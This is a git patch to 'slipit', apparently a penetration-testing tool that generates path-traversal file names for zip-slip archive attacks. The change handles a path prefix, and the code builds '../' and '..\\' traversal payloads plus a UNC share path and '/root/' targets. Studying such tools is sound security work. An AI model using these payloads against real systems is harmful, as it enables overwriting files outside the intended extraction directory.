From 731ab124a22a7f5ed19c3278f10550de7bbecd13 Mon Sep 17 00:00:00 2001 From: b Date: Thu, 9 Feb 2023 15:50:41 +0100 Subject: [PATCH] Handling prefixes when --multi --- bin/slipit | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/bin/slipit b/bin/slipit index 1bacd6c..a8ed986 100755 --- a/bin/slipit +++ b/bin/slipit @@ -26,7 +26,7 @@ def get_traversals(args, filename: str) -> [str]: traversal_payloads = [] sequence = args.sequence.replace('{sep}', args.separator) if args.sequence else f'..{args.separator}' - if args.prefix and not args.prefix.endswith(args.separator): + if args.prefix and len(args.prefix) > 0 and not args.prefix.endswith(args.separator): args.prefix += args.separator if args.multi: @@ -35,9 +35,16 @@ def get_traversals(args, filename: str) -> [str]: traversal_payloads.append(f'\\\\10.10.10.1\\share\\{filename}') traversal_payloads.append(f'/root/{filename}') + fwd_prefix = args.prefix + back_prefix = args.prefix + if args.separator == '/': + back_prefix = args.prefix.replace("/","\\") + else: + fwd_prefix = args.prefix.replace("\\","/") + for ctr in range(1, args.depth): - traversal_payloads.append('../' * ctr + filename) - traversal_payloads.append('..\\' * ctr + filename) + traversal_payloads.append('../' * ctr + fwd_prefix + filename) + traversal_payloads.append('..\\' * ctr + back_prefix + filename) elif args.increment is not None: